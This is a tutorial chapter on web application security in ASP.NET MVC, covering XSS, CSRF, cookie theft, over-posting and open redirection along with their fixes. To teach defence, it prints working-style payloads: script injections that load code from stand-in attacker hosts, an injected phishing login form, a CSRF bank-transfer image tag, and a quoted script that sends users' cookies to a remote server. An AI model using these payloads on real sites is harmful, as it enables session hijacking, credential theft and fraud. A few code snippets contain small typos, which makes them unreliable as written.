Understanding the Security Vectors in a Web Application

So far, I've been focusing on using security features to control access to areas in your site. Many developers see this—making sure that the right usernames and passwords map to the correct sections of their web application—as the extent of their involvement in web application security.

However, if you'll remember, the chapter began with dire warnings about how your applications will need security features that do nothing but prevent misuse. When your web application is exposed to public users—especially the enormous, anonymous public Internet—it is vulnerable to a variety of attacks. Because web applications run on standard, text-based protocols like HTTP and HTML, they are especially vulnerable to automated attacks as well.

So, let's shift focus to seeing how hackers will try to misuse your applications, and how you can beat them.

Threat: Cross-Site Scripting (XSS)

I'll start with a look at one of the most common attacks: cross-site scripting. This section discusses cross-site scripting, what it means to you, and how to prevent it.

Threat Summary

You have allowed this attack before, and maybe you just got lucky and no one walked through the unlocked door of your bank vault. Even if you're the most zealous security nut, you've let this one slip. It's unfortunate, because cross-site scripting (XSS) is the number one website security vulnerability on the Web, and it's largely because of web developers unfamiliar with the risks.

XSS can be carried out in one of two ways: by a user entering nasty script commands into a website that accepts unsanitized user input or by user input being directly displayed on a page. The first example is called Passive Injection—whereby a user enters nastiness into a textbox, for example, and that script gets saved into a database and redisplayed later. The second is called Active Injection and involves a user entering nastiness into an input, which is immediately displayed on screen. Both are evil—take a look at Passive Injection first.

Passive Injection

XSS is carried out by injecting script code into a site that accepts user input. An example of this is a blog, which allows you to leave a comment to a post, as shown in Figure 7.5.

This has four text inputs: name, e-mail, comment, and URL, if you have a blog of your own. Forms like this make XSS hackers salivate for two reasons—first, they know that the input submitted in the form will be displayed on the site, and second, they know that encoding URLs can be tricky, and developers usually will forego checking these properly because they will be made part of an anchor tag anyway.

One thing to always remember (if we haven't overstated it already) is that the Black Hats out there are a lot craftier than you are. We won't say they're smarter, but you might as well think of them this way—it's a good defense.

The first thing an attacker will do is see if the site will encode certain characters upon input. It's a safe bet that the comment field is protected and probably so is the name field, but the URL field smells ripe for injection. To test this, you can enter an innocent query, like the one in Figure 7.6.

It's not a direct attack, but you've placed a “less than” sign into the URL; what you want to see is if it gets encoded to &lt;, which is the HTML replacement character for <. If you post the comment and look at the result, all looks fine (see Figure 7.7).

There's nothing here that suggests anything is amiss. But you've already been tipped off that injection is possible—there is no validation in place to tell you that the URL you've entered is invalid! If you view the source of the page, your XSS Ninja Hacker reflexes get a rush of adrenaline because right there, plain as day, is very low-hanging fruit:

<a href="No blog! Sorry :<">Bob</a> 

This may not seem immediately obvious, but take a second and put your Black Hat on, and see what kind of destruction you can cause. See what happens when you enter this:

"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>

This entry closes off the anchor tag that is not protected and then forces the site to load an iFRAME, as shown in Figure 7.8.

This would be pretty silly if you were out to hack a site because it would tip off the site's administrator and a fix would quickly be issued. No, if you were being a truly devious Black Hat Ninja Hacker, you would probably do something like this:

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="

This line of input would close off the anchor tag, inject a script tag, and then open another anchor tag so as not to break the flow of the page. No one's the wiser (see Figure 7.9).

Even when you hover over the name in the post, you won't see the injected script tag—it's an empty anchor tag! The malicious script would then be run when anyone visits the site and could do malicious operations such as send the user's cookies or data to the hacker's own site.

Active Injection

Active XSS injection involves a user sending in malicious information that is immediately shown on the page and is not stored in the database. The reason it's called Active is that it involves the user's participation directly in the attack—it doesn't sit and wait for a hapless user to stumble upon it.

You might be wondering how this kind of thing would represent an attack. It seems silly, after all, for users to pop up JavaScript alerts to themselves or to redirect themselves off to a malicious site using your site as a graffiti wall—but there are definitely reasons for doing so.

Consider the search this site mechanism, found on just about every site out there. Most site searches will return a message saying something to the effect of “Your search for ‘Active Script Injection' returned X results.” Figure 7.10 shows one from an MSDN search.

Far too often, this message is not HTML-encoded. The general feeling here is that if users want to play XSS with themselves, let them. The problem comes in when you enter the following text into a site that is not protected against Active Injection (using a Search box, for example):

"<br><br>Please login with the form below before proceeding:
<form action="mybadsite.aspx"><table><tr><td>Login:</td><td>
<input type=text length=20 name=login></td></tr>
<tr><td>Password:</td><td><input type=text length=20 name=password>
</td></tr></table><input type=submit value=LOGIN></form>"

This little bit of code (which can be extensively modified to mess with the search page) will actually output a login form on your search page that submits to an offsite URL. There is a site that is built to show this vulnerability (from the people at Acunetix, which built this site intentionally to show how Active Injection can work), and if you load the preceding term into their search form, this will render Figure 7.11.

You could have spent a little more time with the site's CSS and format to get this just right, but even this basic little hack is amazingly deceptive. If users were to actually fall for this, they would be handing the attacker their login information!

The basis of this attack is our old friend, social engineering:

Hey look at this cool site with naked pictures of you! You'll have to log in—I protected them from public view …

The link would be this:

<a href="http://testasp.acunetix.com/Search.asp?tfSearch= <br><br>Please login 
with the form below before proceeding:<form action="mybadsite.aspx"><table>
<tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr>
<td>Password:</td><td><input type=text length=20 name=password></td></tr>
</table><input type=submit value=LOGIN></form>">look at this cool site with 
naked pictures</a>

Plenty of people fall for this kind of thing every day, believe it or not.

Preventing XSS

This section outlines the various ways to prevent cross-site scripting attacks in your ASP.NET MVC applications.

HTML-Encode All Content

XSS can be avoided most of the time by using simple HTML encoding—the process by which the server replaces HTML reserved characters (like < and >) with codes. You can do this with ASP.NET MVC in the view simply by using Html.Encode or Html.AttributeEncode for attribute values.

If you get only one thing from this chapter, please let it be this: every bit of output on your pages should be HTML-encoded or HTML-attribute-encoded. I said this at the top of the chapter, but I'd like to say it again: Html.Encode is your best friend.

note

Views using the Web Forms view engine should always be using Html.Encode when displaying information. The ASP.NET 4 HTML Encoding Code Block syntax makes this easier because you can replace:

<% Html.Encode(Model.FirstName) %> 

with the much shorter:

<%: Model.FirstName) %> 

For more information on using Html.Encode and HTML Encoding Code Blocks, see the discussion in Chapter 5.

The Razor view engine HTML-encodes output by default, so a model property displayed using:

@Model.FirstName

will be HTML-encoded without any additional work on your part.

It's worth mentioning at this point that ASP.NET Web Forms guides you into a system of using server controls and postback, which, for the most part, tries to prevent XSS attacks. Not all server controls protect against XSS (for example, Labels and Literals), but the overall Web Forms package tends to push people in a safe direction.

ASP.NET MVC offers you more freedom—but it also allows you some protections out-of-the-box. Using the HtmlHelpers, for example, will encode your HTML as well as encode the attribute values for each tag. In addition, you're still working within the Page model, so every request is validated unless you turn this off manually.

But you don't need to use any of these things to use ASP.NET MVC. You can use an alternate view engine and decide to write HTML by hand—this is up to you, and that's the point. This decision, however, needs to be understood in terms of what you're giving up, which are some automatic security features.

Html.AttributeEncode and Url.Encode

Most of the time it's the HTML output on the page that gets all the attention; however, it's important to also protect any attributes that are dynamically set in your HTML. In the original example shown previously, you saw how the author's URL can be spoofed by injecting some malicious code into it. This was accomplished because the sample outputs the anchor tag like this:

<a href="<%=Url.Action(AuthorUrl)%>"><%=AuthorUrl%></a>

To properly sanitize this link, you need to be sure to encode the URL that you're expecting. This replaces reserved characters in the URL with other characters (“ ” with %20, for example).

You might also have a situation in which you're passing a value through the URL based on what the user input somewhere on your site:

[[OPEN-LW-CODE80]]<a href="<%=Url.Action("index","home",new {name=ViewData["name"]})%>">Click here</a>[[CLOSE-LW-CODE80]]

If the user is evil, she could change this name to:

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="

and then pass that link on to unsuspecting users. You can avoid this by using encoding with Url.Encode or Html.AttributeEncode:

<a href="<%=Url.Action("index","home",new 
{name=Html.AttributeEncode(ViewData["name"])})%>">Click here</a>

or:

<a href="<%=Url.Encode(Url.Action("index","home",
new {name=ViewData["name"]}))%>">Click here</a>

Bottom line: Never, ever trust any data that your user can somehow touch or use. This includes any form values, URLs, cookies, or personal information received from third-party sources such as OpenID. Remember that the databases or services your site accesses could have been compromised, too. Anything input to your application is suspect, so you need to encode everything you possibly can.

JavaScript Encoding

Just HTML-encoding everything isn't necessarily enough, though. Let's take a look at a simple exploit that takes advantage of the fact that HTML-encoding doesn't prevent JavaScript from executing.

You'll use a simple controller action that takes a username as a parameter and adds it to ViewData to display in a greeting:

public ActionResult Index(string UserName)
{
    ViewBag.UserName = UserName;
    return View();
}

Let's assume you've decided you want to draw attention to this message, so you're animating it in with the following jQuery:

<h2 id="welcome-message"></h2>

@if(@ViewBag.UserName != null) {
<script type="text/javascript">
    $(function () {
        var message = ‘Welcome, @Encoder.JavaScriptEncode(ViewBag.UserName)!’;
        $("#welcome-message").html(message).hide().show(‘slow’);
    });
</script>
}

This looks great, and because you're HTML-encoding the ViewBag value, you're perfectly safe, right? No. No, you are not. The following URL will slip right through (see Figure 7.12):

http://localhost:1337/?UserName=Jonx3cscriptx3e%20alert(x27pwndx27)%20x3c/scriptx3e

What happened? Well, remember that you were HTML-encoding, not JavaScript-encoding. You were allowing user input to be inserted into a JavaScript string that was then added to the Document Object Model (DOM). That means that the hacker could take advantage of hex escape codes to put in any JavaScript code he or she wanted. And as always, remember that real hackers won't show a JavaScript alert—they'll do something evil, like silently steal user information or redirect them to another web page.

There are two solutions to this problem. The narrow solution is to use the Ajax.JavaScriptStringEncode helper function to encode strings that are used in JavaScript, exactly as we'd use Html.Encode for HTML strings.

A more thorough solution is to use the AntiXSS library.

Using AntiXSS as the Default Encoder for ASP.NET

The AntiXSS library adds an additional level of security to your ASP.NET applications. There are a few important differences from how it works compared with the ASP.NET and ASP.NET MVC encoding functions, but the most important are as follows:

note

The extensibility point to allow overriding the default encoder was added in ASP.NET 4, so this solution is not available when targeting previous framework versions.

  • AntiXSS uses a whitelist of allowed characters, whereas ASP.NET's default implementation uses a limited blacklist of disallowed characters. By allowing only known safe input, AntiXSS is more secure than a filter, that tries to block potentially harmful input.
  • The AntiXSS library is focused on preventing security vulnerabilities in your applications, whereas ASP.NET encoding is primarily focused on preventing display problems due to “broken” HTML.

To use the AntiXSS library, follow these steps:

1. Download the AntiXSS library from http://wpl.codeplex.com/ (WPL is short for Windows Protection Library, the parent project to AntiXSS).

2. The Downloads tab includes a link to the binary installer. On my machine, that dropped the AntiXSSLibrary.dll file at the following location: C:Program Files (x86)Microsoft Information SecurityMicrosoft Anti-Cross Site Scripting Library v4.1Library.

3. Copy the assembly into the project directory somewhere where you'll be able to find it. I typically have a lib folder or a Dependencies folder for this purpose.

4. Right-click the References node of the project to add a reference to the assembly (see Figures 7.13 and 7.14).

5. Register AntiXSS as the application's encoder in web.config:

...
  <system.web>
    <httpRuntime encoderType="AntiXssEncoder, AntiXssLibrarydll"/>
...
note

Prior to AntiXSS 4.1, you had to write a new class that derives from HttpEncoder and replace your calls to Html.Encode so they would call methods in your new HttpEncoder class. With AntiXSS 4.1 that is no longer necessary, because the library includes an encoder class for you.

With that in place, any time you call Html.Encode or use an <%: %> HTML Encoding Code Block, the AnitXSS library encodes the text, which takes care of both HTML and JavaScript encoding.

You can also use the AntiXSS Encoder to perform an advanced JavaScript string encode, that prevents some sophisticated attacks that could get by the Ajax.JavaScriptStringEncode helper function. The following code sample shows how this is done. First, you add an @using statement to bring in the AntiXss encoder namespace, then you can use it the Encoder.JavaScriptEncode helper function.

@using Microsoft.Security.Application

@{
    ViewBag.Title = "Home Page";
}
<h2 id="welcome-message"></h2>

@if(!string.IsNullOrWhiteSpace(ViewBag.UserName)) {
<script type="text/javascript">
  $(function () {
      var message = ‘Welcome, @Encoder.JavaScriptEncode(ViewBag.UserName, false)!’;
      $("#welcome-message").html(message).hide().show(‘slow’);
  });

</script>
}

When this is executed, you'll see that the previous attack is no longer successful, as shown in Figure 7.15.

Threat: Cross-Site Request Forgery

A cross-site request forgery (CSRF, pronounced C-surf, but also known by the acronym XSRF) attack can be quite a bit more potent than simple cross-site scripting, discussed earlier. This section discusses cross-site request forgery, what it means to you, and how to prevent it.

Threat Summary

To fully understand what CSRF is, let's break it into its parts: XSS plus a confused deputy. I've already discussed XSS, but the term confused deputy is new and worth discussing. Wikipedia describes a confused deputy attack as follows:

A confused deputy is a computer program that is innocently fooled by some other party into misusing its authority. It is a specific type of privilege escalation.

http://en.wikipedia.org/wiki/Confused_deputy_problem

In this case, that deputy is your browser, and it's being tricked into misusing its authority in representing you to a remote website. To illustrate this, we've worked up a rather silly yet annoying example.

Suppose that you create a nice site that lets users log in and out and do whatever it is that your site lets them do. The Login action lives in your AccountController, and you've decided that you'll keep things simple and extend the AccountController to include a Logout action as well, which will forget who the user is:

    public ActionResult Logout() {
        FormsAuth.SignOut();
        return RedirectToAction("Index", "Home");
    }

Now, suppose that your site allows limited whitelist HTML (a list of acceptable tags or characters that might otherwise get encoded) to be entered as part of a comment system (maybe you wrote a forums app or a blog)—most of the HTML is stripped or sanitized, but you allow images because you want users to be able to post screenshots.

One day, a nice person adds this mildly malicious HTML image tag to his comment:

<img src="/account/logout" />

Now, whenever anyone visits this page, the “image” will be requested (which of course isn't an image at all), and they are logged out of the site. Again, this isn't necessarily a CSRF attack, but it shows how some trickery can be used to coax your browser into making a GET request to an arbitrary site without your knowing about it. In this case, the browser did a GET request for what it thought was an image—instead, it called the logout routine and passed along your cookie. Boom—confused deputy.

This attack works because of the way the browser works. When you log in to a site, information is stored in the browser as a cookie. This can be an in-memory cookie (a session cookie), or it can be a more permanent cookie written to file. Either way, the browser tells your site that it is indeed you making the request.

This is at the core of CSRF—the ability to use XSS plus a confused deputy (and a sprinkle of social engineering, as always) to pull off an attack on one of your users. Unfortunately, CSRF happens to be a vulnerability that not many sites have prevention measures for (I talk about these in just a minute).

Let's up the stakes a bit and work up a real CSRF example, so put on your Black Hat and see what kind of damage you can do with your favorite massively public, unprotected website. We won't use real names here—so let's call this site Big Massive Site.

Right off the bat, it's worth noting that this is an odds game that you, as Mr. Black Hat, are playing with Big Massive Site's users. There are ways to increase these odds, which are covered in a minute, but straight away the odds are in your favor because Big Massive Site has upward of 50 million requests per day.

Now it comes down to the Play—finding out what you can do to exploit Big Massive Site's security hole: the inclusion of linked comments on the site. In surfing the Web and trying various things, you have amassed a list of “Widely Used Online Banking Sites” that allow transfers of money online as well as the payment of bills. You've studied the way that these Widely Used Online Banking Sites actually carry out their transfer requests, and one of them offers some serious low-hanging fruit—the transfer is identified in the URL:

http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=
23234554333&from=checking

Granted, this may strike you as extremely silly—what bank would ever do this? Unfortunately, the answer to that question is “too many,” and the reason is actually quite simple—web developers trust the browser far too much, and the URL request that you're seeing is leaning on the fact that the server will validate the user's identity and account using information from a session cookie. This isn't necessarily a bad assumption—the session cookie information is what keeps you from logging in for every page request! The browser has to remember something!

There are still some missing pieces here, and for that you need to use a little social engineering! You pull your Black Hat down a little tighter and log in to Big Massive Site, entering this as a comment on one of the main pages:

Hey did you know that if you're a Widely Used Bank customer the sum of the digits of your account number add up to 30? It's true! Have a look: http://www.widelyusedbank.example.com.

You then log out of Big Massive Site and log back in with a second, fake account, leaving a comment following the seed comment above as the fake user with a different name:

 "OMG you're right! How weird!<img src =" 
http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=
23234554333&from=checking" />.

The game here is to get Widely Used Bank customers to go log in to their accounts and try to add up their numbers. When they see that it doesn't work, they head back over to Big Massive Site to read the comment again (or they leave their own saying it doesn't work).

Unfortunately, for Perfect Victim, his browser still has his login session stored in memory—he is still logged in! When he lands on the page with the CSRF attack, a request is sent to the bank's website (where they are not ensuring that you're on the other end), and bam, Perfect Victim just lost some money.

The image in the comment (with the CSRF link) will just be rendered as a broken red X, and most people will think it's just a bad avatar or emoticon. What it is really is a remote call to a page that uses GET to run an action on a server—a confused deputy attack that nets you some cold cash. It just so happens that the browser in question is Perfect Victim's browser—so it isn't traceable to you (assuming that you've covered your behind with respect to fake accounts in the Bahamas, and so on). This is almost the perfect crime!

This attack isn't restricted to simple image tag/GET request trickery; it extends well into the realm of spammers who send out fake links to people in an effort to get them to click to go to their site (as with most bot attacks). The goal with this kind of attack is to get users to click the link, and when they land on the site, a hidden iFRAME or bit of script auto-submits a form (using HTTP POST) off to a bank, trying to make a transfer. If you're a Widely Used Bank customer and have just been there, this attack will work.

Revisiting the previous forum post social engineering trickery—it only takes one additional post to make this latter attack successful:

Wow! And did you know that your Savings account number adds up to 50! This is so weird — read this news release about it:

<a href="http://badnastycsrfsite.example.com">CNN.com</a>

It's really weird!

Clearly, you don't need even to use XSS here—you can just plant the URL and hope that someone is clueless enough to fall for the bait (going to their Widely Used Bank account and then heading to your fake page at http://badnastycsrfsite.example.com).

Preventing CSRF Attacks

You might be thinking that this kind of thing should be solved by the framework—and it is! ASP.NET MVC puts the power in your hands, so perhaps a better way of thinking about this is that ASP.NET MVC should enable you to do the right thing, and indeed it does!

Token Verification

ASP.NET MVC includes a nice way of preventing CSRF attacks, and it works on the principle of verifying that the user who submitted the data to your site did so willingly. The simplest way to do this is to embed a hidden input into each form request that contains a unique value. You can do this with the HTML Helpers by including this in every form:

<form action="/account/register" method="post">
<@Html.AntiForgeryToken()>
…
</form>

Html.AntiForgeryToken will output an encrypted value as a hidden input:

<input type="hidden" value="012837udny31w90hjhf7u">

This value will match another value that is stored as a session cookie in the user's browser. When the form is posted, these values will be matched using an ActionFilter:

[ValidateAntiforgeryToken]
public ActionResult Register(…)

This will handle most CSRF attacks—but not all of them. In the previous example, you saw how users can be registered automatically to your site. The anti-forgery token approach will take out most CSRF-based attacks on your Register method, but it won't stop the bots out there that seek to auto-register (and then spam) users to your site. I talk about ways to limit this kind of thing later in the chapter.

Idempotent GETs

Big word, for sure—but it's a simple concept. If an operation is idempotent, it can be executed multiple times without changing the result. In general, a good rule of thumb is that you can prevent a whole class of CSRF attacks by only changing things in your DB or on your site by using POST. This means Registration, Logout, Login, and so forth. At the very least, this limits the confused deputy attacks somewhat.

HttpReferrer Validation

This can be handled using an ActionFilter, wherein you check to see if the client that posted the form values was indeed your site:

public class IsPostedFromThisSiteAttribute : AuthorizeAttribute
{
    public override void OnAuthorize(AuthorizationContext filterContext)
    {
        if (filterContext.HttpContext != null)
        {
            if (filterContext.HttpContext.Request.UrlReferrer == null)
                throw new System.Web.HttpException("Invalid submission");
               
            if (filterContext.HttpContext.Request.UrlReferrer.Host != 
                "mysite.com")
                    throw new System.Web.HttpException 
                        ("This form wasn't submitted from this site!");
        }
    }
}

You can then use this filter on the Register method, like so:

[IsPostedFromThisSite]
public ActionResult Register(…)

As you can see there are different ways of handling this—which is the point of MVC. It's up to you to know what the alternatives are and to pick one that works for you and your site.

Threat: Cookie Stealing

Cookies are one of the things that make the Web usable, as most sites use cookies to identify users after login. Without them, life becomes login box after login box. If an attacker can steal your cookie, they can often impersonate you.

As a user, you can disable cookies on your browser to minimize the theft of your particular cookie (for a given site), but chances are you'll get a snarky warning that “Cookies must be enabled to access this site.”

This section discusses cookie stealing, what it means to you, and how to prevent it.

Threat Summary

Websites use cookies to store information between page requests or browsing sessions. Some of this information is pretty tame—things like site preferences and history. Other information can contain information the site uses to identify you between requests, such as the ASP.NET Forms Authentication Ticket.

There are two types of cookies:

  • Session cookies: Session cookies are stored in the browser's memory and are transmitted via the header during every request.
  • Persistent cookies: Persistent cookies are stored in actual text files on your computer's hard drive and are transmitted the same way.

The main difference is that session cookies are forgotten when your session ends—persistent cookies are not, and a site will remember you the next time you come along.

If you could manage to steal someone's authentication cookie for a website, you could effectively assume their identity and carry out all the actions that they are capable of. This type of exploit is actually very easy—but it relies on XSS vulnerability. The attacker must be able to inject a bit of script onto the target site in order to steal the cookie.

Jeff Atwood of CodingHorror.com wrote about this issue as StackOverflow.com was going through beta:

Imagine, then, the surprise of my friend when he noticed some enterprising users on his website were logged in as him and happily banging away on the system with full unfettered administrative privileges.

http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.html

How did this happen? XSS, of course. It all started with this bit of script added to a user's profile page:

<img src=""http://www.a.com/a.jpg<script type=text/javascript 
src="http://1.2.3.4:81/xss.js">" /><<img 
src=""http://www.a.com/a.jpg</script>"

StackOverflow.com allows a certain amount of HTML in the comments—something that is incredibly tantalizing to an XSS hacker. The example that Jeff offered on his blog is a perfect illustration of how an attacker might inject a bit of script into an innocent-appearing ability such as adding a screenshot image.

Jeff used a whitelist type of XSS prevention—something he wrote on his own. The attacker, in this case, exploited a hole in Jeff's homegrown HTML sanitizer:

Through clever construction, the malformed URL just manages to squeak past the sanitizer. The final rendered code, when viewed in the browser, loads and executes a script from that remote server. Here's what that JavaScript looks like:

window.location="http://1.2.3.4:81/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;

That's right—whoever loads this script-injected user profile page has just unwittingly transmitted their browser cookies to an evil remote server!

In short order, the attacker managed to steal the cookies of the StackOverflow.com users, and eventually Jeff's as well. This allowed the attacker to log in and assume Jeff's identity on the site (which was still in beta) and effectively do whatever he felt like doing. A very clever hack, indeed.

Preventing Cookie Theft with HttpOnly

The StackOverflow.com attack was facilitated by two things:

  • XSS vulnerability: Jeff insisted on writing his own anti-XSS code. Generally, this is not a good idea, and you should rely on things like BB Code or other ways of allowing your users to format their input. In this case, Jeff opened an XSS hole.
  • Cookie vulnerability: The StackOverflow.com cookies were not set to disallow changes from the client's browser.

You can stop script access to all cookies in your site by adding a simple flag: HttpOnly. You can set this in the web.config like so:

<httpCookies domain="String" httpOnlyCookies="true" requireSSL="false" />

You can also set this individually for each cookie you write, like this:

Response.Cookies["MyCookie"].Value="Remembering you…";
Response.Cookies["MyCookie].HttpOnly=true;

The setting of this flag tells the browser to invalidate the cookie if anything but the server sets it or changes it. This is fairly straightforward, and it will stop most XSS-based cookie issues, believe it or not.

Threat: Over-Posting

ASP.NET MVC Model Binding is a powerful feature that greatly simplifies the process handling user input by automatically mapping the input to your model properties based on naming conventions. However, this presents another attack vector, which can allow your attacker an opportunity to populate model properties you didn't even put on your input forms.

This section discusses over-posting, what it means to you, and how to prevent it.

Threat Summary

ASP.NET Model Binding can present another attack vector through over-posting. Here's an example with a store product page that allows users to post review comments:

public class Review {
  public int ReviewID { get; set; } // Primary key
  public int ProductID { get; set; } // Foreign key
  public Product Product { get; set; } // Foreign entity
  public string Name { get; set; }
  public string Comment { get; set; }
  public bool Approved { get; set; }
}

You have a simple form with the only two fields you want to expose to a reviewer, Name and Comment:

Name: @Html.TextBox("Name") <br>
Comment: @Html.TextBox("Comment")

Because you've only exposed Name and Comment on the form, you might not be expecting that a user could approve his or her own comment. However, a malicious user can easily meddle with the form post using any number of web developer tools, adding “Approved=true” to the query string or form post data. The model binder has no idea what fields you've included on your form and will happily set the Approved property to true.

What's even worse, because your Review class has a Product property, a hacker could try posting values in fields with names like Product.Price, potentially altering values in a table you never expected end users could edit.

Preventing Over-Posting with the Bind Attribute

The simplest way to prevent this is to use the [Bind] attribute to explicitly control which properties you want the Model Binder to bind to. BindAttribute can be placed on either the Model class or in the Controller action parameter. You can use either a whitelist approach (discussed previously), which specifies all the fields you'll allow binding to [Bind(Include=“Name, Comment”)], or you can just exclude fields you don't want to be bound to using a blacklist like [Bind(Exclude=“ReviewID, ProductID, Product,Approved”]. Generally a whitelist is a lot safer, because it's a lot easier to make sure you just list the properties you want bound than to enumerate all the properties you don't want bound.

Here's how to annotate our Review class to only allow binding to the Name and Comment properties:

 [Bind(Include="Name, Comment")]
public class Review {
  public int ReviewID { get; set; } // Primary key
  public int ProductID { get; set; } // Foreign key
  public Product Product { get; set; } // Foreign entity
  public string Name { get; set; }
  public string Comment { get; set; }
  public bool Approved { get; set; }
}

A second alternative is to use one of the overloads on UpdateModel or TryUpdateModel that will accept a bind list, like the following:

UpdateModel(review, "Review", new string { "Name", "Comment" });

Still another way to deal with over-posting is to avoid binding directly to the data model. You can do this by using a View Model that holds only the properties you want to allow the user to set. The following View Model eliminates the over-posting problem:

public class ReviewViewModel {
  public string Name { get; set; }
  public string Comment { get; set; }
} 
note

For more on the security implications of Model Validation, see Brad Wilson's post titled Input Validation vs. Model Validation in ASP.NET MVC at http://bradwilson.typepad.com/blog/2010/01/input-validation-vs-model-validation-in-aspnet-mvc.html.

Threat: Open Redirection

ASP.NET MVC 3 includes a new change in the Account Controller to prevent open redirection attacks. After explaining how open redirection attacks work, this section looks at how you can prevent open redirection attacks in your ASP.NET MVC applications. I discuss the changes that have been made in the AccountController in ASP.NET MVC 3 and demonstrate how you can apply these changes in your existing ASP.NET MVC 1 and 2 applications.

Threat Summary

Any web application that redirects to a URL that is specified via the request such as the query string or form data can potentially be tampered with to redirect users to an external, malicious URL. This tampering is called an open redirection attack.

Whenever your application logic redirects to a specified URL, you must verify that the redirection URL hasn't been tampered with. The login used in the default AccountController for both ASP.NET MVC 1 and ASP.NET MVC 2 is vulnerable to open redirection attacks. Fortunately, it is easy to update your existing applications to use the corrections from the ASP.NET MVC 3 AccountController.

A Simple Open Redirection Attack

To understand the vulnerability, let's look at how the login redirection works in a default ASP.NET MVC 2 Web Application project. In this application, attempting to visit a controller action that has the AuthorizeAttribute redirects unauthorized users to the /Account/LogOn view. This redirect to /Account/LogOn includes a returnUrl query string parameter so that the users can be returned to the originally requested URL after they have successfully logged in.

In Figure 7.16, you can see that an attempt to access the /Account/ChangePassword view when not logged in results in a redirect to /Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f.

Because the ReturnUrl query string parameter is not validated, an attacker can modify it to inject any URL address into the parameter to conduct an open redirection attack. To demonstrate this, you can modify the ReturnUrl parameter to http://bing.com, so the resulting login URL will be /Account/LogOn?ReturnUrl=http://www.bing.com/. Upon successfully logging in to the site, you are redirected to http://bing.com. Because this redirection is not validated, it could instead point to a malicious site that attempts to trick the user.

A More Complex Open Redirection Attack

Open redirection attacks are especially dangerous because an attacker knows that you're trying to log in to a specific website, which makes you vulnerable to a phishing attack. For example, an attacker could send malicious e-mails to website users in an attempt to capture their passwords. Let's look at how this would work on the NerdDinner site. (Note that the live NerdDinner site has been updated to protect against open redirection attacks.)

First, an attacker sends a link to the login page on NerdDinner that includes a redirect to their forged page:

http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn

Note that the return URL points to nerddiner.com, which is missing an “n” from the word dinner. In this example, this is a domain that the attacker controls. When you access the preceding link, you're taken to the legitimate NerdDinner.com login page as shown in Figure 7.17.

When you correctly log in, the ASP.NET MVC AccountController's LogOn action redirects us to the URL specified in the returnUrl query string parameter. In this case, it's the URL that the attacker has entered, which is http://nerddiner.com/Account/LogOn. Unless you're extremely watchful, it's very likely you won't notice this, especially because the attacker has been careful to make sure that their forged page looks exactly like the legitimate login page. This login page includes an error message requesting that we log in again, as shown in Figure 7.18. Clumsy you, you must have mistyped your password.

When you retype your username and password, the forged login page saves the information and sends you back to the legitimate NerdDinner.com site. At this point, the NerdDinner.com site has already authenticated us, so the forged login page can redirect directly to that page. The end result is that the attacker has your username and password, and you are unaware that you've provided it to them.

Looking at the Vulnerable Code in the AccountController LogOn Action

The code for the LogOn action in an ASP.NET MVC 2 application is shown in the following code. Note that upon a successful login, the controller returns a redirect to the returnUrl. You can see that no validation is being performed against the returnUrl parameter.

[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
        if (MembershipService.ValidateUser(model.UserName, model.Password))
        {
            FormsService.SignIn(model.UserName, model.RememberMe);
            if (!String.IsNullOrEmpty(returnUrl))
            {
                return Redirect(returnUrl);
            }
            else
            {
                return RedirectToAction("Index", "Home");
            }
        }
        else
        {
            ModelState.AddModelError("", 
            "The user name or password provided is incorrect.");
        }
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}

Now, look at the changes to the ASP.NET MVC 3 LogOn action. This code has been changed to validate the returnUrl parameter by calling a new method in the System.Web.Mvc.Url helper class named IsLocalUrl():

[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
   if (ModelState.IsValid)
   {
      if (Membership.ValidateUser(model.UserName, model.Password))
      {
         FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe);
         if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 
            && returnUrl.StartsWith("/")
            && !returnUrl.StartsWith("//") 
            && !returnUrl.StartsWith("/\"))
         {
            return Redirect(returnUrl);
         }
         else
         {
            return RedirectToAction("Index", "Home");
         }
      }
      else
      {
         ModelState.AddModelError("", 
             "The user name or password provided is incorrect.");
      }
   }

   // If we got this far, something failed, redisplay form
   return View(model);
}

This has been changed to validate the return URL parameter by calling a new method in the System.Web.Mvc.Url helper class, IsLocalUrl().

Protecting Your ASP.NET MVC 1 and MVC 2 Applications

You can take advantage of the ASP.NET MVC 3 changes in your existing ASP.NET MVC 1 and 2 applications by adding the IsLocalUrl() helper method and updating the LogOn action to validate the returnUrl parameter.

The UrlHelper IsLocalUrl() method is actually just calling into a method in System.Web.WebPages, because this validation is also used by ASP.NET Web Pages applications:

public bool IsLocalUrl(string url) {
    return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(
        RequestContext.HttpContext.Request, url);
}

The IsUrlLocalToHost method contains the actual validation logic, as shown here:

public static bool IsUrlLocalToHost(this HttpRequestBase request, string url) {
    if (url.IsEmpty()) {
        return false;
    }

    Uri absoluteUri;
    if (Uri.TryCreate(url, UriKind.Absolute, out absoluteUri)) {
        return String.Equals(request.Url.Host, 
               absoluteUri.Host, StringComparison.OrdinalIgnoreCase);
    }
    else {
        bool isLocal = !url.StartsWith("http:", StringComparison.OrdinalIgnoreCase)
            && !url.StartsWith("https:", StringComparison.OrdinalIgnoreCase)
            && Uri.IsWellFormedUriString(url, UriKind.Relative);
        return isLocal;
    }
}

In our ASP.NET MVC 1 or 2 applications, we'll add an IsLocalUrl() method to the AccountController, but you're encouraged to add it to a separate helper class if possible. We suggest you make two small changes to the ASP.NET MVC 3 version of IsLocalUrl() so that it will work inside the AccountController. So:

  • Change it from a public method to a private method, because public methods in controllers can be accessed as controller actions.
  • Modify the call that checks the URL host against the application host. That call makes use of a local RequestContext field in the UrlHelper class. Instead of using this.RequestContext.HttpContext.Request.Url.Host, use this.Request.Url.Host.

